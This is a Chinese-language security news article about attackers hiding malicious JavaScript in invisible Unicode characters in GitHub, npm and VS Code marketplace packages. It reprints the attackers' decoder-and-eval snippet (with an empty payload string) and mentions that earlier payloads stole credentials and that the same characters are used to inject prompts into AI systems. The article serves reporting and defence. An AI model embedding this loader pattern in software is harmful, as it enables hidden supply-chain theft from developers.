GitHub等代码库遭隐形字符供应链攻击
研究人员发现,黑客利用Unicode规范中的公共使用区域(Public Use Areas)字符,在GitHub、npm及VS Code市场等开源代码库中植入恶意代码。这些字符在人类和常规代码审查工具中显示为空白或空白行,但对JavaScript解释器而言,可被解码为可执行恶意载荷。
该技术利用Unicode中0xFE00至0xFE0F及0xE0100至0xE01EF范围的字符,这些字符在视觉上不可见,但经解码后可还原为完整恶意代码。攻击者通过以下JavaScript片段实现攻击:
```javascript
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
```
其中,传入的反引号字符串在所有查看器中看似为空,实则包含大量隐形字符,解码后可生成完整恶意载荷。此前案例中,该载荷曾通过Solana网络下载并执行第二阶段脚本,用于窃取数字资产、凭证及密钥。
研究人员在GitHub发现此类恶意包后,进一步在npm和VS Code市场检测到类似案例。目前已识别151个相关包,但实际数量可能远超此数,因大量包已被删除。
专家建议,开发者应严格审查代码包及其依赖项,包括检查包名拼写错误,警惕AI生成的伪装包,以防范此类新型供应链攻击。
技术原理与防御建议
隐形Unicode字符原本用于自定义表情符号或旗帜等符号,长期未被广泛使用。2024年起,黑客开始利用其隐蔽性向AI引擎注入恶意指令,尽管AI厂商已设置防护机制,但部分仍可被绕过。目前该技术已应用于传统恶意软件攻击,构成对软件供应链安全的重大威胁。
编辑点评
此次供应链攻击利用Unicode隐形字符作为隐蔽载体,标志着网络攻击技术正向更高隐蔽性和更强规避能力演进。攻击者利用人眼与传统检测工具无法识别的字符,在开源生态中植入恶意代码,这种‘视觉欺骗’方式对现代软件开发流程构成系统性威胁。尤其在AI辅助编程日益普及的背景下,攻击者可能利用生成式AI伪造看似合法的代码包,进一步提高攻击成功率。从全球视角看,该事件暴露了开源生态在代码审查机制上的漏洞,影响范围涵盖全球开发者社区,尤其是依赖npm、GitHub等平台的软件企业。未来可能催生更严格的代码审计标准与自动化检测工具,如引入AI辅助的隐式字符扫描、动态运行时监控等。此外,该技术可能被用于更广泛的供应链攻击,包括金融、云计算及物联网领域。各国监管机构或需加强对开源软件供应链的合规监管,以保障数字基础设施安全。